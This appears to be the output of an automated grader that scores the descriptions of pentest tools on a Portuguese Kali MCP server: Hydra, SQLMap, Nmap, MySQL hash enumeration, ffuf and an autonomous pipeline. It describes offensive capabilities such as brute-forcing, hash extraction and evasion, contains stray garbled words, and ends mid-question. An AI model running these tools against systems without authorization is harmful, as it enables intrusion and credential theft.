Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

The description discloses the destructive/impactful behavior: 'ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.' This goes beyond what annotations provide (no annotations exist), clearly indicating potential account lockouts and the need for authorization, which is critical for security testing.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact and front-loaded with purpose and usage. It uses bullet-like formatting for service list and parameters, making it easy to scan. Some redundancy (repeats service list in description and schema) but overall efficient and necessary context.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with 8 parameters, no annotations, but an output schema, the description is complete: it explains when to use, what services are supported, how to configure complex params with examples, and the risks. It fully compensates for missing annotations and provides actionable guidance for all major aspects.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema coverage is 100%, so the schema provides descriptions for all parameters. However, the description adds critical semantics for http-post-form parameters (http_form_path, http_form_data, http_form_fail) with detailed examples, going beyond the schema's brief definitions. No extra semantics for other params, but they are self-explanatory.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: to test weak credentials on authentication services using Hydra, with a specific verb ('test') and resource ('authentication services'). It distinguishes itself from sibling tools by listing target services (SSH, FTP, HTTP-Auth, etc.) and referencing Nmap for identification, which is unique among the sibling tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly provides when to use the tool: 'Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.' It also provides clear alternatives by listing valid services and warns about risks, effectively guiding the agent on appropriate usage and prerequisites.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the tool crawls the web application, but does not mention the volume of requests, potential impact on the target, rate limiting (though the 'evasion' parameter hints at rate-limit behavior), or any side effects. The description adds output usage context but lacks crucial behavioral details for a security scanning tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is extremely concise—two sentences that immediately state the tool's purpose, then provide usage context and downstream hints. There is zero waste; every sentence adds value. It is front-loaded with the primary function and followed by practical guidance.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's moderate complexity (3 parameters, all documented in schema) and the presence of an output schema (which covers return values), the description is nearly complete. It explains the tool's role in the pentest pipeline and how to use its output. The only gap is behavioral transparency (e.g., request pacing, stealth), but that is addressed in dimension 3. For its purpose, the description is sufficiently complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema has 100% coverage for all three parameters (depth, evasion, target_url) with descriptive comments. The description does not add any additional parameter-specific semantics beyond what the schema already provides. It mentions 'URLs com parâmetros na saída' but that refers to crawl output, not the tool's own parameters. Thus, the schema does the heavy lifting, and the description adds little value.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: it crawls a web application to discover endpoints and parameters using Katana. It distinguishes itself from siblings like Gobuster (directory scanning) by focusing on crawling for endpoints with parameters, and explicitly mentions that URLs with parameters are candidates for Dalfox and SQLMap, differentiating downstream use.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit sequencing guidance: 'Use após o Gobuster' (use after Gobuster), which tells the agent when to run this tool in a pentest workflow. It also suggests that output URLs with parameters should be fed into Dalfox and SQLMap, providing clear follow-up steps. However, it does not mention exclusions or alternative tools, though the context is sufficiently clear.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations provided, so the description carries the full burden. It mentions direct access and warns about authorization, which is good. Yet it doesn't disclose whether the tool is purely read-only (enumeration) or if it performs any writes, nor does it describe potential side effects or error behavior. More transparency on safety and impact is needed.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is four sentences: main purpose, when to use, an example, and a warning. It is front-loaded with the core function, uses no filler words, and every sentence adds value. Highly efficient.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (5 params, potential security implications) and that an output schema exists, the description covers essential aspects: purpose, usage context, and authorization warning. It could mention whether it attempts default creds or how it handles authentication failures, but overall it is adequately complete for agent decision-making.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% with all parameters described. The description adds value by providing a concrete use case for the 'database' parameter (passing 'wordpress' to extract hashes from wp_users) and hints at default credentials. This extra context enhances parameter understanding beyond the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it connects to MySQL and enumerates databases, tables, users, and password hashes. It gives a concrete example (WordPress wp_users hashes) and differentiates from siblings like scan_sql_injection_sqlmap by emphasizing direct database access rather than injection.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly says when to use: 'Use quando Nmap identificar porta 3306 exposta com credenciais fracas.' It also provides a specific scenario for WordPress. However, it doesn't mention alternatives or cases where it should not be used, so it's not a full 5.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must carry the transparency burden. It discloses that the enumeration is passive, implying a non-intrusive operation Android lacks details on output format, potential rate limits, or network impact. It adds minimal behavioral context beyond the passive nature, so a 3 is appropriate.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two short, front-loaded sentences. It states the action, method, and usage condition without any filler or redundancy. Every word earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple with one parameter fully described in the schemaaine and an output schema present àThe description adds the key behavioral context (passive recon) and usage context (when to use: public domain, after Nmap). It doesn't explain the output details, but that's covered by the output schema. It's sufficiently complete for its simplicity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema fully describes the 'domain' parameter with an example. The description adds no additional semantic meaning beyond the schema; it just reiterates the concept of a public domain. Thus, the description provides no extra value over the schema, so a baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description states precisely that the tool enumerates subdomains via passive reconnaissance using Subfinder. This clearly identifies the action (enumeration), the resource (subdomains), and the method (passive, Subfinder), effectively distinguishing it from sibling tools like scan_portas_nmap or scan_diretorios_gobuster.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit guidance: use when the target is a public domain and after the initial Nmap scan. This gives clear context and a workflow trigger, though it does not explicitly state when not to use or list alternative tools for subdomain enumeration, but among the siblings there is no other subdomain tool, so it's adequate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the action (custom HTTP request) and use cases, but does not mention potential side effects (e.g., POST/PUT can modify data), authentication requirements, or response structure. This is a significant gap for a tool that can send arbitrary HTTP methods.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

Two concise sentences, front-loaded with purpose and followed by usage examples. Every word contributes value; no fluff or repetition. The structure is efficient and immediately scannable.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with 6 parameters and an output schema, the description provides sufficient context for why it exists and when to use it, but misses important context about safety, limitations, and how it fits with sibling tools. The output schema covers return values, but behavioral context (e.g., potential to mutate data) is absent. This is adequate but not comprehensive.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema covers 100% of parameters with detailed descriptions and examples. The description adds no additional parameter-level context beyond the schema, so it stays at the baseline 3. It does not enhance or clarify parameter behavior beyond what is already documented.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states a specific verb+resource: 'Faz requisição HTTP customizada' (makes custom HTTP request) and enumerates specific use cases (check content, headers, test payloads). It distinguishes from specialized siblings by emphasizing 'customizada' and 'verificação de evidências', making its purpose unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly lists three usage scenarios: confirming exposed files (.env, phpinfo.php, backups), inspecting endpoint responses, and sending manual payloads during evidence verification. It gives concrete contexts but does not mention exclusions or compare with alternative tools, so a 4 is appropriate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Since no annotations are provided, the description must disclose behavioral traits on its own. It does disclose that a file is saved to ~/.kali-mcp/workspaces/<alvo>_<timestamp>.<ext>, which communicates the main side effect and implies unique file creation via timestamp. However, it does not describe return behavior, auth requirements, failure modes, or whether prior findings are required.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description consists of two concise sentences, with the first stating the core purpose and the second specifying the output file path. Every sentence earns its place, and critical information is front-loaded.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the low tool complexity (2 parameters, 100% schema coverage, and an output schema), the description covers the essential purpose and output file location. It is slightly incomplete due to lack of explicit usage guidance and behavioral details, but it is sufficient for a straightforward report-generation tool with an output schema.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema descriptions cover both parameters fully (100% coverage), including target examples and the formato default and allowed values. The description adds no additional parameter semantics beyond what the schema already provides, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific verb and resource: 'Gera relatório consolidado de todos os findings de um alvo', clearly defining the tool as generating a consolidated report of all findings for a target. This distinguishes it from sibling tools like listar_findings by emphasizing consolidation into a report file.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies the tool should be used after findings have been collected for a target, but it offers no explicit when-to-use or when-not-to-use guidance and does not mention alternatives. It provides enough context for a basic inference, but no exclusions or comparison to sibling report/listing tools.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the transparency burden. It discloses that the tool manages the allowlist and is a mandatory prerequisite for scans, which is critical behavioral context. However, it does not explicitly mention side effects of add/remove (e.g., whether removal invalidates ongoing scans), but the action parameter covers the basic operations. No contradictions.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences, front-loaded with the core purpose and immediately followed by the crucial usage constraint. No filler or redundancy—every word earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple (3 params, 1 required). Given the high schema description coverage, an output schema (indicated), and the clear prerequisite message, the description fully contextualizes when and why to use it. No gaps remain.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% with descriptions for all parameters, so the baseline is 3. The description adds value by giving an example for the 'note' parameter (context of authorization) and emphasizing the critical role of the 'entry' parameter. It provides practical guidance beyond the schema's raw types.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool manages the allowlist of authorized targets, using the specific verb 'gerencia' and the resource 'allowlist de alvos autorizados'. It distinguishes itself from sibling scanning tools by emphasizing that no scan tool will work without the target being in the allowlist, making its unique purpose explicit.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly states when to use: 'Configure sempre antes de iniciar um pentest' and warns that no scan tool will function without the target being here. This gives clear preconditions and prerequisites, and by implication tells the agent to use this before any scanning tool, effectively excluding alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must disclose behavior. It does not mention that this is a read-only operation, whether results are paginated (only a limit parameter), or any side effects. Since it's a database listing, it's likely safe, but the description doesn't say so.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, concise sentence that conveys the core purpose. It doesn't waste words, though it could be slightly more descriptive without being verbose.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With an output schema present, the description need not explain return values. However, for a listing tool, the description is minimal: it doesn't mention ordering, default behavior (beyond the schema), or any constraints. Given the simplicity, it is adequate but not comprehensive.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema documents both parameters (limit and target). The description mentions the 'target' filter but adds no additional meaning beyond the schema. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool lists findings from the database with optional target filtering. It distinguishes itself from sibling tools by focusing on 'findings' rather than scanning or reporting actions, even though it doesn't explicitly name a sibling alternative.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

There is no guidance on when to use this tool versus others. The description implies it is for retrieving recorded findings but gives no context about when this is appropriate (e.g., after a scan or as part of a report) or when to prefer other tools like gerar_relatorio.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden of behavioral disclosure, yet it only mentions autonomous execution and correct ordering. It omits the potentially invasive/active nature, authorization concerns, runtime expectations, side effects, or that brute-force steps require explicit consent.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single front-loaded sentence with no filler. It conveys the core action and key distinguishing trait—autonomous, correct-order execution—in minimal space.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Even with a rich input schema and an output schema, the description gives almost no operational context for a complex autonomous pipeline. It does not explain which tools run, how long it may take, what impact it may have on the target, or when the pipeline should not be used.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the baseline applies. The tool description adds no parameter-level meaning beyond what the schema already provides, but the schema itself is detailed enough to cover the semantics.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly identifies this as the orchestrator for a full pentest pipeline: 'Executa o pipeline completo de pentest de forma autônoma na ordem correta.' This distinguishes it from sibling point tools like scan_portas_nmap or scan_nuclei, though it does not enumerate which phases the pipeline includes.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies this is the comprehensive, autonomous option, but it does not state when to prefer it over individual sibling scanners or when to avoid it. No prerequisites, exclusions, or explicit alternatives are mentioned.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden. It mentions that outputs are saved automatically to a specific path, adding context about storage. However, it doesn't explicitly state whether this tool itself performs any modifications (e.g., it may only list existing scans), leaving some ambiguity about side effects. It does not contradict any annotations since none exist.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description consists of exactly two sentences, with the first stating the core purpose and the second providing a useful detail (output storage location). It is front-loaded, free of filler, and every word adds value.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with a single parameter and no nested objects, the description is quite complete. It explains what the tool does, the context for use (resuming interrupted pentests), and where outputs are stored. It does not detail the output format, but an output schema exists, so that is not required. The only gap is some ambiguity about whether the tool modifies anything.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The only parameter 'target' is described in the schema as 'Domínio ou IP do alvo' (domain or IP of the target), and the description adds an example ('exemplo.com.br', '192.168.1.10') which clarifies the expected format. Schema coverage is 100%, and the description enhances it with a concrete usage example.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the verb 'Lista' (lists) and the resource 'todos os scans salvos em disco para um alvo' (all saved scans for a target), and explains its purpose 'permitindo retomar um pentest interrompido' (allow resuming an interrupted pentest). This distinguishes it from sibling scan-execution tools like 'scan_portas_nmap' or 'scan_nuclei'.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies when to use the tool: when a pentest has been interrupted and you want to resume it without losing progress. It does not explicitly mention alternatives or when not to use it, but the context is clear enough for an agent to decide. The sentence about automatic saving also gives a hint about where the scans reside.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only says it enumerates directories and hidden files with Gobuster, but does not describe the tool's potential impact (e.g., being noisy, requiring permissions, rate limiting) or output characteristics. This is a significant gap for a scanning tool that may be intrusive.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is only two sentences and efficiently states the purpose and usage context. Every word earns its place, with no redundancy or filler.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides a clear purpose and usage sequence, and the input schema documents all parameters. However, it does not mention the tool's behavior or potential side effects (e.g., being time-consuming due to brute-forcing), nor does it describe the expected output format beyond what the output schema (which exists) might cover. Given the complexity of directory scanning, the description could be more informative about the tool's operation.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Since schema description coverage is 100%, the baseline is 3. The description adds no parameter-specific information beyond what the schema already documents, such as the evasion flag for WAF/rate limiting and the default wordlist path. The schema itself provides adequate parameter semantics.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool enumerates directories and hidden files using Gobuster, naming the specific tool and action. It also provides sequencing relative to Nmap and Nikto, distinguishing it from vulnerability scanning and fuzzing tools like Nikto and ffuf.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit usage context: 'Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.' This establishes a clear workflow placement. However, it does not explicitly mention alternatives like ffuf for fuzzing, nor does it state when not to use it beyond implying it needs Nmap results.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden of behavioral disclosure. It conveys that the tool performs fast ffuf-based fuzzing and is flexible, but it does not disclose side effects, network impact, preconditions, or output behavior. The schema's evasion parameter adds some behavioral context, but the description itself is thin on these details.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences, front-loaded with the core purpose, and contains no redundant restatement of the schema. Every clause adds useful context: tool identity, speed/flexibility comparison, and supported fuzzing targets.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the output schema exists and the input schema covers all parameters with rich descriptions, the tool definition is mostly complete. The description covers the main supported use cases and distinguishes from gobuster, though it could be slightly more explicit about usage conditions and behavioral caveats for a fuller picture.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, and each parameter is documented with defaults and helpful notes such as the FUZZ placeholder behavior. The description adds little parameter-level meaning beyond the schema, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description opens with a specific action, 'Fuzzing rápido usando ffuf', and immediately clarifies scope: directory fuzzing, GET/POST parameter fuzzing, and REST API endpoints. It also distinguishes itself from the sibling gobuster tool by claiming to be faster and more flexible, making the tool's purpose and differentiation clear.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides clear context by listing supported fuzzing types and explicitly comparing itself to gobuster ('Mais veloz e flexível que gobuster'). It does not explicitly state when not to use it or name all alternative tools, but the context is sufficient for an agent to decide when this tool is appropriate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only restates the detection purpose and the Nikto sequencing; it does not mention that Nuclei sends active requests, potential impact on the target, or whether it only identifies rather than exploits vulnerabilities.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two short sentences with no filler. The main purpose is front-loaded, and the usage guidance is appended efficiently.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool has a full input schema and an output schema, so return values and parameters are covered. However, with no annotations, the description lacks behavioral caveats and prerequisites, making it adequate but not fully complete for a network-scanning tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema already documents all three parameters with 100% coverage, including examples and defaults. The description adds only the general 'templates' context, which aligns with the tags parameter but does not meaningfully extend the schema's parameter explanations.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description opens with a specific verb and resource: 'Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei.' It clearly names Nuclei and the vulnerability-detection scope, and the follow-up 'Use após o Nikto' distinguishes it from the sibling Nikto scanner.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly states when to use the tool: after Nikto, to cover specific CVEs based on identified versions. This gives clear contextual sequencing, though it does not explicitly list exclusions or alternative tools beyond Nikto.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It only states that it performs port scanning using Nmap, but does not disclose that this involves active network traffic, potential IDS detection, or that it may be intrusive. The stealth parameter hints at configurable evasiveness, but the description itself does not warn about side effects or safety considerations. This is a significant gap for a tool that actively probes a target.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is exceptionally concise: two short sentences that front-load the core purpose and usage. Every word earns its place, with no redundant details or filler. It perfectly balances brevity with essential information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (3 parameters, output schema present) and lack of annotations, the description is minimal but covers basic usage. It states what it does and when to use it, but does not explain the output format (though covered by output schema) or the implications of the stealth parameter. For a first-phase scanner, it is adequate but could be more complete by mentioning that it is an active scan with potential detection risks.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema covers all parameters (100% coverage), with descriptions like 'Flags do Nmap (convertidas via shlex, sem interpretação de shell)' and 'IP, hostname ou CIDR'. The description adds no extra meaning beyond the schema, so a baseline of 3 is appropriate. It does not provide examples or additional context that would enrich understanding.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description states 'Realiza varredura de portas usando Nmap' (Performs port scanning using Nmap), which clearly identifies the action (scanning) and the resource (ports). It distinguishes from siblings by specifying port scanning as opposed to directory, vulnerability, or other scans. The phrase 'Use SEMPRE como primeira fase' adds context that this is the initial phase, reinforcing its unique role.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit usage guidance: 'Use SEMPRE como primeira fase' (Always use as first phase). This tells the agent when to use the tool, positioning it as the mandatory first step in a pentest sequence. It does not name alternatives or explicitly say when not to use, but the strong directive is sufficient for a clear usage context.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It clearly warns that maximum level can modify data and requires explicit authorization, and it mandates starting at the lowest level. It does not mention auth requirements or rate limits, but the key destructive behavior is well flagged.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact and well-structured: purpose, when-to-use, and escalation guidance are clearly separated. Every sentence contributes operational value with no filler.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a complex scanning tool, the description covers purpose, trigger conditions, and safe escalation, while the output schema handles return values. It could mention prerequisites like target reachability or broader authorization context, but the core operational guidance is solid.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3. The description adds value by mapping risk/level combinations to conservative, moderate, and maximum escalation levels, and by warning that risk=3 can modify data—information not present in the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description uses a specific verb and resource: 'Testa SQL Injection usando SQLMap', which clearly identifies the tool's function. It also distinguishes it from sibling scanners like scan_xss_dalfox and scan_vulnerabilidades_nikto by focusing on SQLMap and SQL injection.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly states when to use the tool: when the URL contains GET/POST parameters or when Nikto reports possible SQLi. It also provides mandatory escalation levels, but it does not explicitly name alternative tools or exclusion scenarios.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

